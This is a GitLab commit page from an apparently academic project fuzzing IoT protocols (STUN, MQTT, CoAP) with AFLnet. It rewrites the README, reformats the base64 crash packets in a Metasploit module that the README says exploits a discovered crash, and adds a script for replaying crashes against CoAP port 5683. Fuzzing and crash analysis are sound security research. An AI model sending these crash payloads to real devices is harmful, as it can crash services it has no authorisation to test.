Skip to content
Snippets Groups Projects
Commit 090cfdd6 authored by poulpe's avatar poulpe
Browse files

[Add] Content + edit README + add script folder with all scripts for fuzzing and setup

parent a6a50139
No related branches found
No related tags found
No related merge requests found
Showing
with 53 additions and 69 deletions
File deleted
# AFLnet_module # Projet de Fuzzing pour les protocoles STUN, MQTT et CoAP
Notre objectif principal était d'implémenter des modules pour un outil de fuzzing. Un fuzzer permet de tester des programmes ou des implémentations réseau. Notre interet s'est porté sur les implémentations réseau en utilisant un moteur de fuzzing qui est reconnu dans le domaine, puis nous avons entrepris de développer nos propres modules afin de réaliser du fuzzing sur des protocoles choisis pour leur proximitées avec le domaine IoT. En cas de crash lors de nos tests avec le fuzzer, notre objectif était d'analyser si ce sont des vulnérabilités majeures ou mineur.
## Les scripts mis à dispositions
## Getting started Voici comment trouver les scripts qui permettent de lancer du fuzzing sur certains protocole ansi que les utilitaires.
To make it easy for you to get started with GitLab, here's a list of recommended next steps.
Already a pro? Just edit this README.md and make it your own. Want to make it easy? [Use the template at the bottom](#editing-this-readme)! - /scripts
## Add your files - COAP
- [ ] [Create](https://docs.gitlab.com/ee/user/project/repository/web_editor.html#create-a-file) or [upload](https://docs.gitlab.com/ee/user/project/repository/web_editor.html#upload-a-file) files Start_Fuzzing_COAP.sh
- [ ] [Add files using the command line](https://docs.gitlab.com/ee/gitlab-basics/add-file.html#add-a-file-using-the-command-line) or push an existing Git repository with the following command:
``` Start_Fuzzing_Parallel_COAP.sh
cd existing_repo
git remote add origin https://gitedu.hesge.ch/fabian.troller/aflnet_module.git
git branch -M main
git push -uf origin main
```
## Integrate with your tools Start_Fuzzing_Parrallel_COAP_Multi_Binary.sh
- [ ] [Set up project integrations](https://gitedu.hesge.ch/fabian.troller/aflnet_module/-/settings/integrations)
## Collaborate with your team
- [ ] [Invite team members and collaborators](https://docs.gitlab.com/ee/user/project/members/) - MQTT
- [ ] [Create a new merge request](https://docs.gitlab.com/ee/user/project/merge_requests/creating_merge_requests.html)
- [ ] [Automatically close issues from merge requests](https://docs.gitlab.com/ee/user/project/issues/managing_issues.html#closing-issues-automatically)
- [ ] [Enable merge request approvals](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/)
- [ ] [Automatically merge when pipeline succeeds](https://docs.gitlab.com/ee/user/project/merge_requests/merge_when_pipeline_succeeds.html)
## Test and Deploy Start_Fuzzing_MQTT.sh
Use the built-in continuous integration in GitLab. Start_Fuzzing_Parallel_MQTT.sh
- [ ] [Get started with GitLab CI/CD](https://docs.gitlab.com/ee/ci/quick_start/index.html) Start_Fuzzing_Parrallel_MQTT_Multi_Binary.sh
- [ ] [Analyze your code for known vulnerabilities with Static Application Security Testing(SAST)](https://docs.gitlab.com/ee/user/application_security/sast/)
- [ ] [Deploy to Kubernetes, Amazon EC2, or Amazon ECS using Auto Deploy](https://docs.gitlab.com/ee/topics/autodevops/requirements.html)
- [ ] [Use pull-based deployments for improved Kubernetes management](https://docs.gitlab.com/ee/user/clusters/agent/)
- [ ] [Set up protected environments](https://docs.gitlab.com/ee/ci/environments/protected_environments.html)
***
# Editing this README
When you're ready to make this README your own, just edit this file and use the handy template below (or feel free to structure it however you want - this is just a starting point!). Thank you to [makeareadme.com](https://www.makeareadme.com/) for this template. - STUN
## Suggestions for a good README Start_Fuzzing_Parallel_STUN.sh
Every project is different, so consider which of these sections apply to yours. The sections used in the template are suggestions for most open source projects. Also keep in mind that while a README can be too long and detailed, too long is better than too short. If you think your README is too long, consider utilizing another form of documentation rather than cutting out information.
## Name Start_Fuzzing_Parallel_STUN_TCP.sh
Choose a self-explaining name for your project.
## Description Start_Fuzzing_STUN.sh
Let people know what your project can do specifically. Provide context and add a link to any reference visitors might be unfamiliar with. A list of Features or a Background subsection can also be added here. If there are alternatives to your project, this is a good place to list differentiating factors.
## Badges Start_Fuzzing_STUN_UDP.sh
On some READMEs, you may see small images that convey metadata, such as whether or not all the tests are passing for the project. You can use Shields to add some to your README. Many services also have instructions for adding a badge.
## Visuals
Depending on what you are making, it can be a good idea to include screenshots or even a video (you'll frequently see GIFs rather than actual videos). Tools like ttygif can help, but check out Asciinema for a more sophisticated method.
## Installation Le dossier /scripts contient plusieurs scripts, y compris ceux spécifiques à chaque protocole, qui permettent de lancer le fuzzing en parallèle ou sur un seul thread. Il comprend également des scripts utilitaires pour la configuration du système d'exploitation, l'affichage du temps nécessaire pour le premier crash, un script Ruby compatible avec le framework Metasploit qui exploite le troisième crash découvert, un script Python permettant de segmenter les dumps réseau de AFLnet en paquets plus petits pour une analyse plus détaillée, ainsi qu'un script automatisant le rejeu de tous ces paquets.
Within a particular ecosystem, there may be a common way of installing things, such as using Yarn, NuGet, or Homebrew. However, consider the possibility that whoever is reading your README is a novice and would like more guidance. Listing specific steps helps remove ambiguity and gets people to using your project as quickly as possible. If it only runs in a specific context like a particular programming language version or operating system or has dependencies that have to be installed manually, also add a Requirements subsection.
## Usage Assurez-vous d'avoir les bibliothèques et les dépendances appropriées installées pour l'exécution des scripts.
Use examples liberally, and show the expected output if you can. It's helpful to have inline the smallest example of usage that you can demonstrate, while providing links to more sophisticated examples if they are too long to reasonably include in the README. \ No newline at end of file
## Support
Tell people where they can go to for help. It can be any combination of an issue tracker, a chat room, an email address, etc.
## Roadmap
If you have ideas for releases in the future, it is a good idea to list them in the README.
## Contributing
State if you are open to contributions and what your requirements are for accepting them.
For people who want to make changes to your project, it's helpful to have some documentation on how to get started. Perhaps there is a script that they should run or some environment variables that they need to set. Make these steps explicit. These instructions could also be useful to your future self.
You can also document commands to lint the code or run tests. These steps help to ensure high code quality and reduce the likelihood that the changes inadvertently break something. Having instructions for running tests is especially helpful if it requires external setup, such as starting a Selenium server for testing in a browser.
## Authors and acknowledgment
Show your appreciation to those who have contributed to the project.
## License
For open source projects, say how it is licensed.
## Project status
If you have run out of energy or time for your project, put a note at the top of the README saying that development has slowed down or stopped completely. Someone may choose to fork your project or volunteer to step in as a maintainer or owner, allowing your project to keep going. You can also make an explicit request for maintainers.
File moved
File moved
File moved
File moved
File moved
...@@ -33,9 +33,18 @@ class MetasploitModule < Msf::Auxiliary ...@@ -33,9 +33,18 @@ class MetasploitModule < Msf::Auxiliary
def run def run
# Create data for packet1 and packet2 # Create data for packet1 and packet2
packet_1 = "RAIl3Nwl/8SycmQRKDlsd20ybT0xLjENBWVwPXRlc3Rsd20ybWNsaWVudANiPVUGbHQ9MzAw/zwvPjtydD0ib21hLmx3bTJtIiw8LzEyMD4sPC8zLzA+LDwvMzEwMjQvMTA+LDwvMzEwMj4TPC8zLzA+LDwvNC8wPiw8LzUvMD4sPC82LzA+LDwvNy8wPiw8LzMxMDI0Pjt2ZXI9MS4wLDwvMzEwMjQvMTA+LDwvMzEwMjQvMTE+LDwvMzEwMjQvMTI+RAJtt7dtUnCycmQRKDlsd20ybT0xKTENBWVwPXRlc3Rsd20ybWNsaWVudANiPVUGbHQ9MzAwwQv/PC8+O3J0PSJvbWEubHdtMm0iO2N0PTExMCw8LzE+O3Zlcj0xLjEsPC8xLzA+LDwvMi8wPiw8LzM5MD4sPC80LzA+LDwvNS8wPiw8LzYvMD4sPC83LzA+gDwvMzEwMjQ+O3Zlcj0xLjAsPC8zMTAyNC8xMD4sPC8zMTAyNC8xMT5EAm24t21ScLJyZBEoOWx3bTJtPTEuMQ0FZXA9dGVzdGx3bTJtY2xpZW50A2I9VQZsdD0zMDDBE/8sPC8zMTAyNC8xMj5EAm24t21ScLJyZBEoOWx3bTJtPTEuMQ0F3Nzc3Nzc3Nzc3Nzc3Nzc3NxlcD10ZXN0bHdtMm1jbGllbnQDYj1VBmx0PTMwMMET/yw8LzMxMDI0LzEyPkQCF3RlUFVUd229Mf8xDQdlPA==" packet_1 = "RAIl3Nwl/8SycmQRKDlsd20ybT0xLjENBWVwPXRlc3Rsd20ybWNsaWVudANiPVUGbHQ9MzAw"+
"/zwvPjtydD0ib21hLmx3bTJtIiw8LzEyMD4sPC8zLzA+LDwvMzEwMjQvMTA+LDwvMzEwMj4TPC8zLzA+LDwv"+
packet_2 = "RAIl3Nwl/8SycmQRKDlsd20ybT0xLjENBWVwPXRlc3Rsd20ybWNsaWVudJhiPVUGbHQhMzAw/zwvPjtydD0ib21hLmx3bTJtIiw8LzEvMD4sPC8zLzA+IjwvMzEwMjQvMTJtPTEuMQ0FZXA9dGVrdGx3bTJtY2xpZW50ADAyNA==" "NC8wPiw8LzUvMD4sPC82LzA+LDwvNy8wPiw8LzMxMDI0Pjt2ZXI9MS4wLDwvMzEwMjQvMTA+LDwvMzEwMjQvM"+
"TE+LDwvMzEwMjQvMTI+RAJtt7dtUnCycmQRKDlsd20ybT0xKTENBWVwPXRlc3Rsd20ybWNsaWVudANiPVUGbH"+
"Q9MzAwwQv/PC8+O3J0PSJvbWEubHdtMm0iO2N0PTExMCw8LzE+O3Zlcj0xLjEsPC8xLzA+LDwvMi8wPiw8LzM"+
"5MD4sPC80LzA+LDwvNS8wPiw8LzYvMD4sPC83LzA+gDwvMzEwMjQ+O3Zlcj0xLjAsPC8zMTAyNC8xMD4sPC8zM"+
"TAyNC8xMT5EAm24t21ScLJyZBEoOWx3bTJtPTEuMQ0FZXA9dGVzdGx3bTJtY2xpZW50A2I9VQZsdD0zMDDBE/8"+
"sPC8zMTAyNC8xMj5EAm24t21ScLJyZBEoOWx3bTJtPTEuMQ0F3Nzc3Nzc3Nzc3Nzc3Nzc3NxlcD10ZXN0bHdtM"+
"m1jbGllbnQDYj1VBmx0PTMwMMET/yw8LzMxMDI0LzEyPkQCF3RlUFVUd229Mf8xDQdlPA=="
packet_2 = "RAIl3Nwl/8SycmQRKDlsd20ybT0xLjENBWVwPXRlc3Rsd20ybWNsaWVudJhiPVUGbHQhMzAw/zwv"+
"PjtydD0ib21hLmx3bTJtIiw8LzEvMD4sPC8zLzA+IjwvMzEwMjQvMTJtPTEuMQ0FZXA9dGVrdGx3bTJtY2xpZW50ADAyNA=="
# connect to the UDP port # connect to the UDP port
connect_udp connect_udp
......
File moved
#!/bin/bash
# Script or run multiple crash from aflnet
# Need to be in the folder of fuzzer
# Need to have aflnet-replay in the path
echo "Need to be in the folder of fuzzer"
echo "Need to have aflnet-replay in the path"
files_list=$(ls ${1})
arr=($files_list)
cnt=0
while read -p "Next"
do
line=${arr[$cnt]}
echo $line
eval aflnet-replay 'replayable-crashes/$line' COAP 5683
cnt=$((cnt+1))
done
File moved
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment